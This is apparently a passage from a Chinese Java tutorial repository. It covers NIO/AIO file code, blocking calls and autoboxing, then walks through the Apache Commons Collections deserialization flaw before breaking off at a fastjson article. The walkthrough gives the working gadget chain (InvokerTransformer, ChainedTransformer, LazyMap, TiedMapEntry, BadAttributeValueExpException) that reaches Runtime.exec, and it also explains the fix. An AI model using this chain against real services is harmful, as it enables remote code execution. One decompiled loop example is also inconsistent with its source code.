注意，读取后，将位置置为0，将limit置为容量, 以备下次读入到字节缓冲中，从0开始存储\n\t\t\t\t */\n\t\t\t\tbf.clear();\n\t\t\t\tbyte[] bytes = bf.array();\n\t\t\t\tSystem.out.write(bytes, 0, length);\n\t\t\t\tSystem.out.println();\n\n\t\t\t\tSystem.out.println(\"限制是：\" + bf.limit() + \"容量是：\" + bf.capacity()\n\t\t\t\t\t\t+ \"位置是：\" + bf.position());\n\n\t\t\t}\n\n\t\t\tchannel.close();\n\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (fin != null) {\n\t\t\t\ttry {\n\t\t\t\t\tfin.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tstatic void writeNIO() {\n\t\tString filename = \"out.txt\";\n\t\tFileOutputStream fos = null;\n\t\ttry {\n\n\t\t\tfos = new FileOutputStream(new File(filename));\n\t\t\tFileChannel channel = fos.getChannel();\n\t\t\tByteBuffer src = Charset.forName(\"utf8\").encode(\"你好你好你好你好你好\");\n\t\t\t// 字节缓冲的容量和limit会随着数据长度变化，不是固定不变的\n\t\t\tSystem.out.println(\"初始化容量和limit：\" + src.capacity() + \",\"\n\t\t\t\t\t+ src.limit());\n\t\t\tint length = 0;\n\n\t\t\twhile ((length = channel.write(src)) != 0) {\n\t\t\t\t/*\n\t\t\t\t * 注意，这里不需要clear，将缓冲中的数据写入到通道中后 第二次接着上一次的顺序往下读\n\t\t\t\t */\n\t\t\t\tSystem.out.println(\"写入长度:\" + length);\n\t\t\t}\n\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (fos != null) {\n\t\t\t\ttry {\n\t\t\t\t\tfos.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n```\n\n#### 使用AIO实现文件的读取和写入\n\n```\npublic class ReadFromFile {\n  public static void main(String[] args) throws Exception {\n    Path file = Paths.get(\"/usr/a.txt\");\n    AsynchronousFileChannel channel = AsynchronousFileChannel.open(file);\n\n    ByteBuffer buffer = ByteBuffer.allocate(100_000);\n    Future<Integer> result = channel.read(buffer, 0);\n\n    while (!result.isDone()) {\n      ProfitCalculator.calculateTax();\n    }\n    Integer bytesRead = result.get();\n    System.out.println(\"Bytes read [\" + bytesRead + \"]\");\n  }\n}\nclass ProfitCalculator {\n  public ProfitCalculator() {\n  }\n  public static void calculateTax() {\n  }\n}\n\npublic class WriteToFile {\n\n  public static void main(String[] args) throws Exception {\n    AsynchronousFileChannel fileChannel = AsynchronousFileChannel.open(\n        Paths.get(\"/asynchronous.txt\"), StandardOpenOption.READ,\n        StandardOpenOption.WRITE, StandardOpenOption.CREATE);\n    CompletionHandler<Integer, Object> handler = new CompletionHandler<Integer, Object>() {\n\n      @Override\n      public void completed(Integer result, Object attachment) {\n        System.out.println(\"Attachment: \" + attachment + \" \" + result\n            + \" bytes written\");\n        System.out.println(\"CompletionHandler Thread ID: \"\n            + Thread.currentThread().getId());\n      }\n\n      @Override\n      public void failed(Throwable e, Object attachment) {\n        System.err.println(\"Attachment: \" + attachment + \" failed with:\");\n        e.printStackTrace();\n      }\n    };\n\n    System.out.println(\"Main Thread ID: \" + Thread.currentThread().getId());\n    fileChannel.write(ByteBuffer.wrap(\"Sample\".getBytes()), 0, \"First Write\",\n        handler);\n    fileChannel.write(ByteBuffer.wrap(\"Box\".getBytes()), 0, \"Second Write\",\n        handler);\n\n  }\n}\n```\n"
  },
  {
    "path": "docs/basics/java-basic/block-vs-non-blocking.md",
    "content": "阻塞与非阻塞描述的是调用者的\n\n如A调用B：\n\n如果是阻塞，A在发出调用后，要一直等待，等着B返回结果。\n\n如果是非阻塞，A在发出调用后，不需要等待，可以去做自己的事情。\n\n\n### 同步，异步 和 阻塞，非阻塞之间的区别\n\n[同步、异步](/basics/java-basic/synchronized-vs-asynchronization.md)，是描述被调用方的。\n\n阻塞，非阻塞，是描述调用方的。\n\n同步不一定阻塞，异步也不一定非阻塞。没有必然关系。\n\n举个简单的例子，老张烧水。\n1 老张把水壶放到火上，一直在水壶旁等着水开。（同步阻塞）\n2 老张把水壶放到火上，去客厅看电视，时不时去厨房看看水开没有。（同步非阻塞）\n3 老张把响水壶放到火上，一直在水壶旁等着水开。（异步阻塞）\n4 老张把响水壶放到火上，去客厅看电视，水壶响之前不再去看它了，响了再去拿壶。（异步非阻塞）\n\n1和2的区别是，调用方在得到返回之前所做的事情不一行。\n1和3的区别是，被调用方对于烧水的处理不一样。"
  },
  {
    "path": "docs/basics/java-basic/boxing-unboxing.md",
    "content": "本文主要介绍 Java 中的自动拆箱与自动装箱的有关知识。\n\n## 基本数据类型\n\n基本类型，或者叫做内置类型，是 Java 中不同于类(Class)的特殊类型。它们是我们编程中使用最频繁的类型。\n\nJava 是一种强类型语言，第一次申明变量必须说明数据类型，第一次变量赋值称为变量的初始化。\n\nJava 基本类型共有八种，基本类型可以分为三类：\n\n> 字符类型 `char`\n>\n> 布尔类型 `boolean`\n>\n> 数值类型 `byte`、`short`、`int`、`long`、`float`、`double`。\n\n数值类型又可以分为整数类型 `byte`、`short`、`int`、`long` 和浮点数类型 `float`、`double`。\n\nJava 中的数值类型不存在无符号的，它们的取值范围是固定的，不会随着机器硬件环境或者操作系统的改变而改变。\n\n实际上，Java 中还存在另外一种基本类型 `void`，它也有对应的包装类 `java.lang.Void`，不过我们无法直接对它们进行操作。\n\n### 基本数据类型有什么好处\n\n我们都知道在 Java 语言中，`new` 一个对象是存储在堆里的，我们通过栈中的引用来使用这些对象；所以，对象本身来说是比较消耗资源的。\n\n对于经常用到的类型，如 int 等，如果我们每次使用这种变量的时候都需要 new 一个 Java 对象的话，就会比较笨重。所以，和 C++ 一样，Java 提供了基本数据类型，这种数据的变量不需要使用 new 创建，他们不会在堆上创建，而是直接在栈内存中存储，因此会更加高效。\n\n### 整型的取值范围\n\nJava 中的整型主要包含`byte`、`short`、`int`和`long`这四种，表示的数字范围也是从小到大的，之所以表示范围不同主要和他们存储数据时所占的字节数有关。\n\n先来个简答的科普，1 字节= 8 位（bit）。Java 中的整型属于有符号数。\n\n先来看计算中 8 bit 可以表示的数字：\n\n    最小值：10000000 （-128）(-2^7)\n    最大值：01111111（127）(2^7-1)\n\n\n整型的这几个类型中，\n\n*   byte：byte 用 1 个字节来存储，范围为 -128(-2^7) 到 127(2^7-1)，在变量初始化的时候，byte 类型的默认值为 0。\n\n*   short：short 用 2 个字节存储，范围为 -32,768(-2^15) 到 32,767(2^15-1)，在变量初始化的时候，short 类型的默认值为 0，一般情况下，因为 Java 本身转型的原因，可以直接写为 0。\n\n*   int：int 用 4 个字节存储，范围为 -2,147,483,648(-2^31) 到 2,147,483,647(2^31-1)，在变量初始化的时候，int 类型的默认值为 0。\n\n*   long：long 用 8 个字节存储，范围为 -9,223,372,036,854,775,808(-2^63) 到 9,223,372,036, 854,775,807(2^63-1)，在变量初始化的时候，long 类型的默认值为 0L 或 0l，也可直接写为 0。\n\n### 超出范围怎么办\n\n上面说过了，整型中，每个类型都有一定的表示范围，但是，在程序中有些计算会导致超出表示范围，即溢出。如以下代码：\n```java\n    int i = Integer.MAX_VALUE;\n    int j = Integer.MAX_VALUE;\n\n    int k = i + j;\n    System.out.println(\"i (\" + i + \") + j (\" + j + \") = k (\" + k + \")\");\n```\n\n输出结果：i (2147483647) + j (2147483647) = k (-2)\n\n**这就是发生了溢出，溢出的时候并不会抛异常，也没有任何提示。** 所以，在程序中，使用同类型的数据进行运算的时候，**一定要注意数据溢出的问题。**\n\n## 包装类型\n\nJava 语言是一个面向对象的语言，但是 Java 中的基本数据类型却是不面向对象的，这在实际使用时存在很多的不便，为了解决这个不足，在设计类时为每个基本数据类型设计了一个对应的类进行代表，这样八个和基本数据类型对应的类统称为包装类(Wrapper Class)。\n\n包装类均位于 `java.lang` 包，包装类和基本数据类型的对应关系如下表所示\n\n| 基本数据类型 | 包装类 |\n| ------- | --------- |\n| byte    | Byte      |\n| boolean | Boolean   |\n| short   | Short     |\n| char    | Character |\n| int     | Integer   |\n| long    | Long      |\n| float   | Float     |\n| double  | Double    |\n\n在这八个类名中，除了 Integer 和 Character 类以后，其它六个类的类名和基本数据类型一致，只是类名的第一个字母大写即可。\n\n### 为什么需要包装类\n\n很多人会有疑问，既然 Java 中为了提高效率，提供了八种基本数据类型，为什么还要提供包装类呢？\n\n这个问题，其实前面已经有了答案，因为 Java 是一种面向对象语言，很多地方都需要使用对象而不是基本数据类型。比如，在集合类中，我们是无法将 int 、double 等类型放进去的。因为集合的容器要求元素是 Object 类型。\n\n为了让基本类型也具有对象的特征，就出现了包装类型，它相当于将基本类型“包装起来”，使得它具有了对象的性质，并且为其添加了属性和方法，丰富了基本类型的操作。\n\n## 拆箱与装箱\n\n那么，有了基本数据类型和包装类，肯定有些时候要在他们之间进行转换。比如把一个基本数据类型的 int 转换成一个包装类型的 Integer 对象。\n\n我们认为包装类是对基本类型的包装，所以，把基本数据类型转换成包装类的过程就是打包装，英文对应于 boxing，中文翻译为装箱。\n\n反之，把包装类转换成基本数据类型的过程就是拆包装，英文对应于 unboxing，中文翻译为拆箱。\n\n在 Java SE5 之前，要进行装箱，可以通过以下代码：\n\n```java\n    Integer i = new Integer(10);\n```\n\n## 自动拆箱与自动装箱\n\n在 Java SE5 中，为了减少开发人员的工作，Java 提供了自动拆箱与自动装箱功能。\n\n自动装箱: 就是将基本数据类型自动转换成对应的包装类。\n\n自动拆箱：就是将包装类自动转换成对应的基本数据类型。\n```java\n    Integer i = 10;  //自动装箱\n    int b = i;     //自动拆箱\n```\n\n`Integer i=10` 可以替代 `Integer i = new Integer(10);`，这就是因为 Java 帮我们提供了自动装箱的功能，不需要开发者手动去 new 一个 Integer 对象。\n\n## 自动装箱与自动拆箱的实现原理\n\n既然 Java 提供了自动拆装箱的能力，那么，我们就来看一下，到底是什么原理，Java 是如何实现的自动拆装箱功能。\n\n我们有以下自动拆装箱的代码：\n\n```java\n    public static  void main(String[]args){\n        Integer integer=1; //装箱\n        int i=integer; //拆箱\n    }\n```\n\n对以上代码进行反编译后可以得到以下代码：\n\n```java\n    public static  void main(String[]args){\n        Integer integer=Integer.valueOf(1);\n        int i=integer.intValue();\n    }\n```\n\n从上面反编译后的代码可以看出，int 的自动装箱都是通过 `Integer.valueOf()` 方法来实现的，Integer 的自动拆箱都是通过 `integer.intValue` 来实现的。如果读者感兴趣，可以试着将八种类型都反编译一遍 ，你会发现以下规律：\n\n> 自动装箱都是通过包装类的 `valueOf()` 方法来实现的.自动拆箱都是通过包装类对象的 `xxxValue()` 来实现的。\n\n## 哪些地方会自动拆装箱\n\n我们了解过原理之后，在来看一下，什么情况下，Java 会帮我们进行自动拆装箱。前面提到的变量的初始化和赋值的场景就不介绍了，那是最简单的也最容易理解的。\n\n我们主要来看一下，那些可能被忽略的场景。\n\n### 场景一、将基本数据类型放入集合类\n\n我们知道，Java 中的集合类只能接收对象类型，那么以下代码为什么会不报错呢？\n\n```java\n    List<Integer> li = new ArrayList<>();\n    for (int i = 1; i < 50; i ++){\n        li.add(i);\n    }\n```\n\n将上面代码进行反编译，可以得到以下代码：\n\n```java\n    List<Integer> li = new ArrayList<>();\n    for (int i = 1; i < 50; i += 2){\n        li.add(Integer.valueOf(i));\n    }\n```\n\n以上，我们可以得出结论，当我们把基本数据类型放入集合类中的时候，会进行自动装箱。\n\n### 场景二、包装类型和基本类型的大小比较\n\n有没有人想过，当我们对 Integer 对象与基本类型进行大小比较的时候，实际上比较的是什么内容呢？看以下代码：\n\n```java\n    Integer a = 1;\n    System.out.println(a == 1 ? \"等于\" : \"不等于\");\n    Boolean bool = false;\n    System.out.println(bool ? \"真\" : \"假\");\n```\n\n对以上代码进行反编译，得到以下代码：\n\n```java\n    Integer a = 1;\n    System.out.println(a.intValue() == 1 ? \"等于\" : \"不等于\");\n    Boolean bool = false;\n    System.out.println(bool.booleanValue ? \"真\" : \"假\");\n```\n\n可以看到，包装类与基本数据类型进行比较运算，是先将包装类进行拆箱成基本数据类型，然后进行比较的。\n\n### 场景三、包装类型的运算\n\n有没有人想过，当我们对 Integer 对象进行四则运算的时候，是如何进行的呢？看以下代码：\n\n```java\n    Integer i = 10;\n    Integer j = 20;\n\n    System.out.println(i+j);\n```\n\n反编译后代码如下：\n\n```java\n    Integer i = Integer.valueOf(10);\n    Integer j = Integer.valueOf(20);\n    System.out.println(i.intValue() + j.intValue());\n```\n\n我们发现，两个包装类型之间的运算，会被自动拆箱成基本类型进行。\n\n### 场景四、三目运算符的使用\n\n这是很多人不知道的一个场景，作者也是一次线上的血淋淋的 Bug 发生后才了解到的一种案例。看一个简单的三目运算符的代码：\n\n```java\n    boolean flag = true;\n    Integer i = 0;\n    int j = 1;\n    int k = flag ? i : j;\n```\n\n很多人不知道，其实在 `int k = flag ? i : j;` 这一行，会发生自动拆箱（ JDK1.8 之前，详见：[《阿里巴巴Java开发手册-泰山版》提到的三目运算符的空指针问题到底是个怎么回事？](https://www.hollischuang.com/archives/4749) ）。\n\n反编译后代码如下：\n\n```java\n    boolean flag = true;\n    Integer i = Integer.valueOf(0);\n    int j = 1;\n    int k = flag ? i.intValue() : j;\n    System.out.println(k);\n```\n\n这其实是三目运算符的语法规范。当第二，第三位操作数分别为基本类型和对象时，其中的对象就会拆箱为基本类型进行操作。\n\n因为例子中，`flag ? i : j;` 片段中，第二段的 i 是一个包装类型的对象，而第三段的 j 是一个基本类型，所以会对包装类进行自动拆箱。如果这个时候 i 的值为 `null`，那么就会发生 NPE。（[自动拆箱导致空指针异常][1]）\n\n### 场景五、函数参数与返回值\n\n这个比较容易理解，直接上代码了：\n\n```java\n    //自动拆箱\n    public int getNum1(Integer num) {\n     return num;\n    }\n    //自动装箱\n    public Integer getNum2(int num) {\n     return num;\n    }\n```\n\n## 自动拆装箱与缓存\n\nJava SE 的自动拆装箱还提供了一个和缓存有关的功能，我们先来看以下代码，猜测一下输出结果：\n\n```java\n    public static void main(String... strings) {\n\n        Integer integer1 = 3;\n        Integer integer2 = 3;\n\n        if (integer1 == integer2)\n            System.out.println(\"integer1 == integer2\");\n        else\n            System.out.println(\"integer1 != integer2\");\n\n        Integer integer3 = 300;\n        Integer integer4 = 300;\n\n        if (integer3 == integer4)\n            System.out.println(\"integer3 == integer4\");\n        else\n            System.out.println(\"integer3 != integer4\");\n    }\n```\n\n我们普遍认为上面的两个判断的结果都是 false。虽然比较的值是相等的，但是由于比较的是对象，而对象的引用不一样，所以会认为两个 if 判断都是 false 的。在 Java 中，`==` 比较的是对象引用，而 `equals` 比较的是值。所以，在这个例子中，不同的对象有不同的引用，所以在进行比较的时候都将返回 false。奇怪的是，这里两个类似的 if 条件判断返回不同的布尔值。\n\n上面这段代码真正的输出结果：\n\n    integer1 == integer2\n    integer3 != integer4\n\n\n原因就和 Integer 中的缓存机制有关。在 Java 5 中，在 Integer 的操作上引入了一个新功能来节省内存和提高性能。整型对象通过使用相同的对象引用实现了缓存和重用。\n\n> 适用于整数值区间 -128 至 +127。\n>\n> 只适用于自动装箱。使用构造函数创建对象不适用。\n\n具体的代码实现可以阅读[Java中整型的缓存机制][2]一文，这里不再阐述。\n\n我们只需要知道，当需要进行自动装箱时，如果数字在 -128 至 127 之间时，会直接使用缓存中的对象，而不是重新创建一个对象。\n\n其中的 Javadoc 详细的说明了缓存支持 -128 到 127 之间的自动装箱过程。最大值 127 可以通过 `-XX:AutoBoxCacheMax=size` 修改。\n\n实际上这个功能在 Java 5 中引入的时候,范围是固定的 -128 至 +127。后来在 Java 6 中，可以通过 `java.lang.Integer.IntegerCache.high` 设置最大值。\n\n这使我们可以根据应用程序的实际情况灵活地调整来提高性能。到底是什么原因选择这个 -128 到 127 范围呢？因为这个范围的数字是最被广泛使用的。 在程序中，第一次使用 Integer 的时候也需要一定的额外时间来初始化这个缓存。\n\n在 Boxing Conversion 部分的 Java 语言规范(JLS)规定如下：\n\n如果一个变量 p 的值是：\n\n- -128 至 127 之间的整数 (§3.10.1)\n- true 和 false 的布尔值 (§3.10.3)\n- `\\u0000` 至 `\\u007f` 之间的字符 (§3.10.4)\n\n范围内的时，将 p 包装成 a 和 b 两个对象时，可以直接使用 a == b 判断 a 和 b 的值是否相等。\n\n## 自动拆装箱带来的问题\n\n当然，自动拆装箱是一个很好的功能，大大节省了开发人员的精力，不再需要关心到底什么时候需要拆装箱。但是，他也会引入一些问题。\n\n> 包装对象的数值比较，不能简单的使用 `==`，虽然 -128 到 127 之间的数字可以，但是这个范围之外还是需要使用 `equals` 比较。\n>\n> 前面提到，有些场景会进行自动拆装箱，同时也说过，由于自动拆箱，如果包装类对象为 null ，那么自动拆箱时就有可能抛出 NPE。\n>\n> 如果一个 for 循环中有大量拆装箱操作，会浪费很多资源。\n\n## 参考资料\n\n[Java 的自动拆装箱][3]\n\n [1]: http://www.hollischuang.com/archives/435\n [2]: http://www.hollischuang.com/archives/1174\n [3]: https://www.jianshu.com/p/cc9312104876\n"
  },
  {
    "path": "docs/basics/java-basic/bug-in-apache-commons-collections.md",
    "content": "Apache-Commons-Collections这个框架，相信每一个Java程序员都不陌生，这是一个非常著名的开源框架。\n\n但是，他其实也曾经被爆出过序列化安全漏洞，可以被远程执行命令。\n\n### 背景\n\nApache Commons是Apache软件基金会的项目，Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。\n\n**Commons Collections包为Java标准的Collections API提供了相当好的补充。**在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中，既保证了性能，同时也能大大简化代码。\n\nCommons Collections的最新版是4.4，但是使用比较广泛的还是3.x的版本。其实，**在3.2.1以下版本中，存在一个比较大的安全漏洞，可以被利用来进行远程命令执行。**\n\n这个漏洞在2015年第一次被披露出来，但是业内一直称称这个漏洞为\"2015年最被低估的漏洞\"。\n\n因为这个类库的使用实在是太广泛了，首当其中的就是很多Java Web Server，这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。\n\n之后，Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。\n\n### 问题复现\n\n这个问题主要会发生在Apache Commons Collections的3.2.1以下版本，本次使用3.1版本进行测试，JDK版本为Java 8。\n\n#### 利用Transformer攻击\n\nCommons Collections中提供了一个Transformer接口，主要是可以用来进行类型装换的，这个接口有一个实现类是和我们今天要介绍的漏洞有关的，那就是InvokerTransformer。\n\n**InvokerTransformer提供了一个transform方法，该方法核心代码只有3行，主要作用就是通过反射对传入的对象进行实例化，然后执行其iMethodName方法。**\n\n![][2]\n\n而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的，这个类的构造函数如下：\n\n![][3]\n\n也就是说，使用这个类，理论上可以执行任何方法。那么，我们就可以利用这个类在Java中执行外部命令。\n\n我们知道，想要在Java中执行外部命令，需要使用`Runtime.getRuntime().exec(cmd)`的形式，那么，我们就想办法通过以上工具类实现这个功能。\n\n首先，通过InvokerTransformer的构造函数设置好我们要执行的方法以及参数：\n\n    Transformer transformer = new InvokerTransformer(\"exec\",\n            new Class[] {String.class},\n            new Object[] {\"open /Applications/Calculator.app\"});\n    \n\n通过，构造函数，我们设定方法名为`exec`，执行的命令为`open /Applications/Calculator.app`，即打开mac电脑上面的计算器（windows下命令：`C:\\\\Windows\\\\System32\\\\calc.exe`）。\n\n然后，通过InvokerTransformer实现对`Runtime`类的实例化：\n\n    transformer.transform(Runtime.getRuntime());\n    \n\n运行程序后，会执行外部命令，打开电脑上的计算机程序：\n\n![][4]\n\n至此，我们知道可以利用InvokerTransformer来调用外部命令了，那是不是只需要把一个我们自定义的InvokerTransformer序列化成字符串，然后再反序列化，接口实现远程命令执行：\n\n![][5]\n\n先将transformer对象序列化到文件中，再从文件中读取出来，并且执行其transform方法，就实现了攻击。\n\n#### 你以为这就完了？\n\n但是，如果事情只有这么简单的话，那这个漏洞应该早就被发现了。想要真的实现攻击，那么还有几件事要做。\n\n因为，`newTransformer.transform(Runtime.getRuntime());`这样的代码，不会有人真的在代码中写的。\n\n如果没有了这行代码，还能实现执行外部命令么？\n\n这就要利用到Commons Collections中提供了另一个工具那就是ChainedTransformer，这个类是Transformer的实现类。\n\n**ChainedTransformer类提供了一个transform方法，他的功能遍历他的iTransformers数组，然后依次调用其transform方法，并且每次都返回一个对象，并且这个对象可以作为下一次调用的参数。**\n\n![][6]\n\n那么，我们可以利用这个特性，来自己实现和`transformer.transform(Runtime.getRuntime());`同样的功能：\n\n     Transformer[] transformers = new Transformer[] {\n        //通过内置的ConstantTransformer来获取Runtime类\n        new ConstantTransformer(Runtime.class),\n        //反射调用getMethod方法，然后getMethod方法再反射调用getRuntime方法，返回Runtime.getRuntime()方法\n        new InvokerTransformer(\"getMethod\",\n            new Class[] {String.class, Class[].class },\n            new Object[] {\"getRuntime\", new Class[0] }),\n        //反射调用invoke方法，然后反射执行Runtime.getRuntime()方法，返回Runtime实例化对象\n        new InvokerTransformer(\"invoke\",\n            new Class[] {Object.class, Object[].class },\n            new Object[] {null, new Object[0] }),\n        //反射调用exec方法\n        new InvokerTransformer(\"exec\",\n            new Class[] {String.class },\n            new Object[] {\"open /Applications/Calculator.app\"})\n    };\n    \n    Transformer transformerChain = new ChainedTransformer(transformers);\n    \n\n在拿到一个transformerChain之后，直接调用他的transform方法，传入任何参数都可以，执行之后，也可以实现打开本地计算器程序的功能：\n\n![][7]\n\n那么，结合序列化，现在的攻击更加进了一步，不再需要传入`newTransformer.transform(Runtime.getRuntime());`这样的代码了，只要代码中有 `transformer.transform()`方法的调用即可，无论里面是什么参数：\n\n![][8]\n\n#### 攻击者不会满足于此\n\n但是，一般也不会有程序员会在代码中写这样的代码。\n\n那么，攻击手段就需要更进一步，真正做到\"不需要程序员配合\"。\n\n于是，攻击者们发现了在Commons Collections中提供了一个LazyMap类，这个类的get会调用transform方法。（Commons Collections还真的是懂得黑客想什么呀。）\n\n![][9]\n\n那么，现在的攻击方向就是想办法调用到LazyMap的get方法，并且把其中的factory设置成我们的序列化对象就行了。\n\n顺藤摸瓜，可以找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法，而TiedMapEntry类的getValue又会被其中的toString()方法调用到。\n\n    public String toString() {\n        return getKey() + \"=\" + getValue();\n    }\n    \n    public Object getValue() {\n        return map.get(key);\n    }\n    \n\n那么，现在的攻击门槛就更低了一些，只要我们自己构造一个TiedMapEntry，并且将他进行序列化，这样，只要有人拿到这个序列化之后的对象，调用他的toString方法的时候，就会自动触发bug。\n\n    Transformer transformerChain = new ChainedTransformer(transformers);\n    \n    Map innerMap = new HashMap();\n    Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n    TiedMapEntry entry = new TiedMapEntry(lazyMap, \"key\");\n    \n\n我们知道，toString会在很多时候被隐式调用，如输出的时候(`System.out.println(ois.readObject());`)，代码示例如下：\n\n![][10]\n\n现在，黑客只需要把自己构造的TiedMapEntry的序列化后的内容上传给应用程序，应用程序在反序列化之后，如果调用了toString就会被攻击。\n\n#### 只要反序列化，就会被攻击\n\n那么，有没有什么办法，让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢？\n\n倒还真的被发现了，只要满足以下条件就行了：\n\n那就是在某个类的readObject会调用到上面我们提到的LazyMap或者TiedMapEntry的相关方法就行了。因为Java反序列化的时候，会调用对象的readObject方法。\n\n通过深入挖掘，黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例\n\nBadAttributeValueExpException类是Java中提供的一个异常类，他的readObject方法直接调用了toString方法：\n\n![][11]\n\n那么，攻击者只需要想办法把TiedMapEntry的对象赋值给代码中的valObj就行了。\n\n通过阅读源码，我们发现，只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就行了。\n\n这就简单了，通过反射就能实现：\n\n    Transformer transformerChain = new ChainedTransformer(transformers);\n    \n    Map innerMap = new HashMap();\n    Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n    TiedMapEntry entry = new TiedMapEntry(lazyMap, \"key\");\n    \n    BadAttributeValueExpException poc = new BadAttributeValueExpException(null);\n    \n    // val是私有变量，所以利用下面方法进行赋值\n    Field valfield = poc.getClass().getDeclaredField(\"val\");\n    valfield.setAccessible(true);\n    valfield.set(poc, entry);\n    \n\n于是，这时候，攻击就非常简单了，只需要把BadAttributeValueExpException对象序列化成字符串，只要这个字符串内容被反序列化，那么就会被攻击。\n\n![][12]\n\n### 问题解决\n\n以上，我们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。\n\n通过这个漏洞的分析，我们可以发现，只要有一个地方代码写的不够严谨，就可能会被攻击者利用。\n\n因为这个漏洞影响范围很大，所以在被爆出来之后就被修复掉了，开发者只需要将Apache Commons Collections类库升级到3.2.2版本，即可避免这个漏洞。\n\n![-w1382][13]\n\n3\\.2.2版本对一些不安全的Java类的序列化支持增加了开关，默认为关闭状态。涉及的类包括\n\n    CloneTransformer\n    ForClosure\n    InstantiateFactory\n    InstantiateTransformer\n    InvokerTransformer\n    PrototypeCloneFactory\n    PrototypeSerializationFactory,\n    WhileClosure\n    \n\n如在InvokerTransformer类中，自己实现了和序列化有关的writeObject()和 readObject()方法：\n\n![][14]\n\n在两个方法中，进行了序列化安全的相关校验，校验实现代码如下：\n\n![][15]\n\n在序列化及反序列化过程中，会检查对于一些不安全类的序列化支持是否是被禁用的，如果是禁用的，那么就会抛出`UnsupportedOperationException`，通过`org.apache.commons.collections.enableUnsafeSerialization`设置这个特性的开关。\n\n将Apache Commons Collections升级到3.2.2以后，执行文中示例代码，将报错如下：\n\n    Exception in thread \"main\" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.\n        at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)\n        at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)\n    \n\n### 后话\n\n本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。\n\n如果你阅读本文之后，能够有以下思考，那么本文的目的就达到了：\n\n1、代码都是人写的，有bug都是可以理解的\n\n2、公共的基础类库，一定要重点考虑安全性问题\n\n3、在使用公共类库的时候，要时刻关注其安全情况，一旦有漏洞爆出，要马上升级\n\n4、安全领域深不见底，攻击者总能抽丝剥茧，一点点bug都可能被利用\n\n参考资料： https://commons.apache.org/proper/commons-collections/release_3_2_2.html https://p0sec.net/index.php/archives/121/ https://www.freebuf.com/vuls/175252.html https://kingx.me/commons-collections-java-deserialization.html\n\n [1]: https://www.hollischuang.com/archives/5177\n [2]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944480560097.jpg\n [3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944485613275.jpg\n [4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944494651843.jpg\n [5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944505042521.jpg\n [6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944497629664.jpg\n [7]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944539116926.jpg\n [8]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944538564178.jpg\n [9]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944509076736.jpg\n [10]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537562975.jpg\n [11]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944519240647.jpg\n [12]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537014741.jpg\n [13]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944526874284.jpg\n [14]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944525715616.jpg\n [15]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944525999226.jpg\n"
  },
  {
    "path": "docs/basics/java-basic/bug-in-fastjson.md",
    "content": "fastjson大家一定都不陌生，这是阿里巴巴的开源一个JSON解析库，通常被用于将Java Bean和JSON 字符串之间进行转换。\n\n前段时间，fastjson被爆出过多次存在漏洞，很多文章报道了这件事儿，并且给出了升级建议。\n\n但是作为一个开发者，我更关注的是他为什么会频繁被爆漏洞？于是我带着疑惑，去看了下fastjson的releaseNote以及部分源代码。\n\n最终发现，这其实和fastjson中的一个AutoType特性有关。\n\n从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ，每个版本的升级中都有关于AutoType的升级。\n\n下面是fastjson的官方releaseNotes 中，几次关于AutoType的重要升级：\n\n> 1\\.2.59发布，增强AutoType打开时的安全性 fastjson\n> \n> 1\\.2.60发布，增加了AutoType黑名单，修复拒绝服务安全问题 fastjson\n> \n> 1\\.2.61发布，增加AutoType安全黑名单 fastjson\n> \n> 1\\.2.62发布，增加AutoType黑名单、增强日期反序列化和JSONPath fastjson\n> \n> 1\\.2.66发布，Bug修复安全加固，并且做安全加固，补充了AutoType黑名单 fastjson\n> \n> 1\\.2.67发布，Bug修复安全加固，补充了AutoType黑名单 fastjson\n> \n> 1\\.2.68发布，支持GEOJSON，补充了AutoType黑名单。（**引入一个safeMode的配置，配置safeMode后，无论白名单和黑名单，都不支持autoType。**） fastjson\n> \n> 